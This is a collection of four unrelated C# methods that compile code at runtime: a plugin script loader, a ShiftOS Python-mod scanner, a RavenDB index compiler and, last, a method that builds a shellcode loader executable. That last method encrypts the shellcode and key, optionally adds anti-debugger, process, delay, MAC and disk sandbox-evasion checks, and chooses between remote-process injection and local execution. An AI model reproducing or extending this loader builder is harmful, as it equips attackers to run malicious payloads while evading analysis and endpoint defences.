public bool Compile(string filepath) { Name = Path.GetFileNameWithoutExtension(filepath); Thread.Sleep(100); var code = File.ReadAllText(filepath); CSharpCodeProvider codeProvider = new CSharpCodeProvider(new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }); CompilerParameters parameters = new CompilerParameters { GenerateInMemory = true, GenerateExecutable = false, IncludeDebugInformation = true }; parameters.ReferencedAssemblies.Add(Assembly.GetExecutingAssembly().Location); parameters.ReferencedAssemblies.Add("System.dll"); parameters.ReferencedAssemblies.Add("System.Core.dll"); parameters.ReferencedAssemblies.Add("System.Data.dll"); parameters.ReferencedAssemblies.Add("System.Data.DataSetExtensions.dll"); parameters.ReferencedAssemblies.Add("System.Xml.dll"); parameters.ReferencedAssemblies.Add("System.Xml.Linq.dll"); CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters, code); if (results.Errors.HasErrors) { var error = "Error in script: " + Name; foreach (CompilerError e in results.Errors) { error += "\n" + e; } Log.Print(LogType.Error, error); return(false); } //Successful Compile Log.Print(LogType.Debug, "Script Loaded: " + Name); _type = results.CompiledAssembly.GetTypes()[0]; //Instansiate script class. try { if (_type.BaseType == typeof(VanillaPlugin)) { Plugin = Activator.CreateInstance(_type) as VanillaPlugin; } else { Log.Print(LogType.Error, "Warning! " + Name + " isn't VanillaPlugin"); return(false); } } catch (Exception) { Log.Print(LogType.Error, "Error instantiating " + Name); return(false); } return(true); }
/// <summary> /// Finds Python mods and adds them to ReflectMan's Types list. /// </summary> public static void Scan() { if (scanned) { throw new Exception("PythonAPI.Scan() called multiple times"); } scopes = new Dictionary <string, ScriptScope>(); var resman = new System.Resources.ResourceManager("ShiftOS.Engine.Properties.Resources", typeof(Properties.Resources).Assembly); var provider = new CSharpCodeProvider(); var refs = AppDomain.CurrentDomain.GetAssemblies().Select(f => f.Location).Concat(new string[] { "Microsoft.CSharp.dll" }).ToArray(); var types = new List <Type>(); var sha = new SHA512Managed(); var oldcache = new Dictionary <string, AsmCacheEntry>(); var newcache = new Dictionary <string, AsmCacheEntry>(); if (File.Exists("pyasmcache.dat")) { using (var stream = File.OpenRead("pyasmcache.dat")) try { oldcache = AsmCache.Load(stream); } catch (Exception ex) { #if DEBUG Console.WriteLine("[dev] Failed to read the assembly cache."); Console.WriteLine(ex.ToString()); #endif } } foreach (var fname in Directory.GetFiles(Environment.CurrentDirectory, "*.py").Select(Path.GetFileName)) { byte[] checksum; using (FileStream stream = File.OpenRead(fname)) checksum = sha.ComputeHash(stream); var script = File.ReadAllText(fname); try { scopes[fname] = PythonHelper.RunCode(script); } catch (Exception ex) { Console.WriteLine("[dev] Failed to execute Python script " + fname); Console.WriteLine(ex.ToString()); continue; } if (oldcache.ContainsKey(fname)) { var oldentry = oldcache[fname]; if (checksum.SequenceEqual(oldentry.checksum)) { try { foreach (var asm in oldentry.asms) { types.AddRange(Assembly.Load(asm).GetTypes()); } newcache.Add(fname, oldentry); continue; } catch (Exception ex) { #if DEBUG Console.WriteLine("[dev] Failed to load cached assembly for " + fname); Console.WriteLine(ex.ToString()); #endif } } } var scriptlines = script.Replace("\r\n", "\n").Replace("\r", "\n").Split('\n'); // line-ending independent... int pos = 0; var entry = new AsmCacheEntry(); entry.checksum = checksum; var parameters = new CompilerParameters(); parameters.ReferencedAssemblies.AddRange(refs); parameters.GenerateInMemory = false; // We need to keep the temporary file around long enough to copy it to the cache. parameters.GenerateExecutable = false; try { while (pos < scriptlines.Length) { while (!scriptlines[pos].StartsWith("#ShiftOS")) { pos++; } var templatename = scriptlines[pos].Split(':')[1]; pos++; string decorators = ""; while (scriptlines[pos].StartsWith("#")) { decorators += scriptlines[pos].Substring(1) + Environment.NewLine; // remove # and add to string pos++; } if (!scriptlines[pos].StartsWith("class ")) { throw new Exception("ShiftOS decorators without matching global class"); } var classname = scriptlines[pos].Split(' ')[1]; if (classname.Contains("(")) // derived class { classname = classname.Split('(')[0]; } else { classname = classname.Remove(classname.Length - 1); // remove : } var code = String.Format(resman.GetString(templatename), decorators, classname, fname.Replace("\\", "\\\\")); // generate the C# wrapper class from template #if DEBUG Console.WriteLine(code); #endif var results = provider.CompileAssemblyFromSource(parameters, code); if (results.Errors.HasErrors) { string except = "The wrapper class failed to compile."; foreach (CompilerError error in results.Errors) { except += Environment.NewLine + error.ErrorText; } throw new Exception(except); } types.AddRange(results.CompiledAssembly.GetTypes()); // We did it! entry.asms.Add(File.ReadAllBytes(results.PathToAssembly)); pos++; // keep scanning the file for more classes } } catch (Exception ex) // Skip any file that has issues { #if DEBUG Console.WriteLine("[dev] Exception in the Python API: file " + fname + ", line " + pos.ToString() + "."); Console.WriteLine(ex.ToString()); #endif } newcache.Add(fname, entry); } #if DEBUG Console.WriteLine("[dev] " + types.Count.ToString() + " Python mods loaded successfully."); #endif if (types.Count > 0) { ReflectMan.AddTypes(types.ToArray()); using (var stream = File.OpenWrite("pyasmcache.dat")) AsmCache.Save(stream, newcache); } scanned = true; }
private static Type DoActualCompilation(string source, string name, string queryText, OrderedPartCollection <AbstractDynamicCompilationExtension> extensions, string basePath, string indexFilePath, InMemoryRavenConfiguration configuration) { var provider = new CSharpCodeProvider(new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }); var assemblies = new HashSet <string> { typeof(SystemTime).Assembly.Location, typeof(AbstractViewGenerator).Assembly.Location, typeof(NameValueCollection).Assembly.Location, typeof(Enumerable).Assembly.Location, typeof(Microsoft.CSharp.RuntimeBinder.Binder).Assembly.Location, AssemblyExtractor.GetExtractedAssemblyLocationFor(typeof(Field), configuration), }; foreach (var extension in extensions) { foreach (var assembly in extension.Value.GetAssembliesToReference()) { assemblies.Add(assembly); } } var compilerParameters = new CompilerParameters { GenerateExecutable = false, GenerateInMemory = false, IncludeDebugInformation = Debugger.IsAttached, OutputAssembly = indexFilePath }; if (basePath != null) { compilerParameters.TempFiles = new TempFileCollection(basePath, false); } foreach (var assembly in assemblies) { compilerParameters.ReferencedAssemblies.Add(assembly); } CompilerResults compileAssemblyFromFile; if (indexFilePath != null) { var sourceFileName = indexFilePath + ".cs"; File.WriteAllText(sourceFileName, source); compileAssemblyFromFile = provider.CompileAssemblyFromFile(compilerParameters, sourceFileName); } else { compileAssemblyFromFile = provider.CompileAssemblyFromSource(compilerParameters, source); } var results = compileAssemblyFromFile; if (results.Errors.HasErrors) { var sb = new StringBuilder() .AppendLine("Compilation Errors:") .AppendLine(); foreach (CompilerError error in results.Errors) { sb.AppendFormat("Line {0}, Position {1}: Error {2} - {3}\n", error.Line, error.Column, error.ErrorNumber, error.ErrorText); } sb.AppendLine(); sb.AppendLine("Source code:") .AppendLine(queryText) .AppendLine(); throw new InvalidOperationException(sb.ToString()); } var asm = Assembly.Load(File.ReadAllBytes(indexFilePath)); // avoid locking the file // ReSharper disable once AssignNullToNotNullAttribute File.SetCreationTime(indexFilePath, DateTime.UtcNow); CodeVerifier.AssertNoSecurityCriticalCalls(asm); Type result = asm.GetType(name); if (result == null) { throw new InvalidOperationException( "Could not get compiled index type. This probably means that there is something wrong with the assembly load context."); } return(result); }
public void CompileCode(int platform, string privateKey, string encryptData) { if (encryptData != "") { Dictionary <string, string> options = new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }; CSharpCodeProvider provider = new CSharpCodeProvider(options); CompilerParameters parameters = new CompilerParameters(); parameters.GenerateExecutable = true; parameters.GenerateInMemory = false; parameters.CompilerOptions = "-target:winexe"; if (checkBox1.Checked) { parameters.CompilerOptions += " -win32manifest:Resources\\app.manifest"; } if (checkBox7.Checked) { parameters.CompilerOptions += " -win32icon:Resources\\Icon.ico"; } if (platform == 32) { parameters.CompilerOptions += " -platform:x86"; } else if (platform == 64) { parameters.CompilerOptions += " -platform:x64"; } string path = "shellcode" + platform + ".exe"; parameters.OutputAssembly = path; parameters.ReferencedAssemblies.Add("System.dll"); string sourceCode = ""; string key = RandomText(8); Thread.Sleep(100); string iv = RandomText(8); encryptData = Encrypt(encryptData, key, iv); privateKey = Encrypt(privateKey, key, iv); if (radioButton1.Checked) { sourceCode = ReadFile("Template\\General.tpl"); sourceCode = sourceCode.Replace("{{Decrypt_Key_Here}}", key); sourceCode = sourceCode.Replace("{{Decrypt_IV_Here}}", iv); sourceCode = sourceCode.Replace("{{PrivateKey_Here}}", privateKey); sourceCode = sourceCode.Replace("{{EncryptData_Here}}", encryptData); } else { sourceCode = ReadFile("Template\\Argument.tpl"); sourceCode = sourceCode.Replace("{{Decrypt_Key_Here}}", key); sourceCode = sourceCode.Replace("{{Decrypt_IV_Here}}", iv); using (StreamWriter sw = new StreamWriter("Output.txt")) { sw.WriteLine("Private Key:"); sw.WriteLine(privateKey); sw.WriteLine(""); sw.WriteLine("Encrypt Data:"); sw.WriteLine(encryptData); sw.WriteLine(""); sw.WriteLine("Usage: shellcode" + platform + ".exe \"Private Key\" \"Encrypt Data\""); sw.Flush(); sw.Close(); } } if (checkBox2.Checked) { sourceCode = sourceCode.Replace("{{CheckDebugger_Here}}", ReadFile("Template\\Debugger.tpl")); } else { sourceCode = sourceCode.Replace("{{CheckDebugger_Here}}", ""); } if (checkBox3.Checked) { sourceCode = sourceCode.Replace("{{CheckProcessMethod_Here}}", ReadFile("Template\\ProcessMethod.tpl")); sourceCode = sourceCode.Replace("{{CheckProcess_Here}}", ReadFile("Template\\Process.tpl")); } else { sourceCode = sourceCode.Replace("{{CheckProcessMethod_Here}}", ""); sourceCode = sourceCode.Replace("{{CheckProcess_Here}}", ""); } if (checkBox4.Checked) { sourceCode = sourceCode.Replace("{{CheckDelayMethod_Here}}", ReadFile("Template\\DelayMethod.tpl")); sourceCode = sourceCode.Replace("{{CheckDelay_Here}}", ReadFile("Template\\Delay.tpl")); } else { sourceCode = sourceCode.Replace("{{CheckDelayMethod_Here}}", ""); sourceCode = sourceCode.Replace("{{CheckDelay_Here}}", ""); } if (checkBox5.Checked) { sourceCode = sourceCode.Replace("{{CheckMACMethod_Here}}", ReadFile("Template\\MACMethod.tpl")); sourceCode = sourceCode.Replace("{{CheckMAC_Here}}", ReadFile("Template\\MAC.tpl")); } else { sourceCode = sourceCode.Replace("{{CheckMACMethod_Here}}", ""); sourceCode = sourceCode.Replace("{{CheckMAC_Here}}", ""); } if (checkBox6.Checked) { sourceCode = sourceCode.Replace("{{CheckDiskMethod_Here}}", ReadFile("Template\\DiskMethod.tpl")); sourceCode = sourceCode.Replace("{{CheckDisk_Here}}", ReadFile("Template\\Disk.tpl")); } else { sourceCode = sourceCode.Replace("{{CheckDiskMethod_Here}}", ""); sourceCode = sourceCode.Replace("{{CheckDisk_Here}}", ""); } if (checkBox8.Checked) { sourceCode = sourceCode.Replace("{{Execute_Shellcode}}", ReadFile("Template\\Remote.tpl")); sourceCode = sourceCode.Replace("{{Execute_Shellcode_Method}}", ReadFile("Template\\RemoteMethod.tpl")); sourceCode = sourceCode.Replace("{{binary}}", textBox1.Text); } else { sourceCode = sourceCode.Replace("{{Execute_Shellcode}}", ReadFile("Template\\Local.tpl")); sourceCode = sourceCode.Replace("{{Execute_Shellcode_Method}}", ReadFile("Template\\LocalMethod.tpl")); } using (StreamWriter sw = new StreamWriter("code.txt")) { sw.Write(sourceCode); sw.Close(); } CompilerResults cr = provider.CompileAssemblyFromSource(parameters, sourceCode); if (cr.Errors.Count > 0) { MessageBox.Show("编译失败"); } else { MessageBox.Show("编译成功"); } } }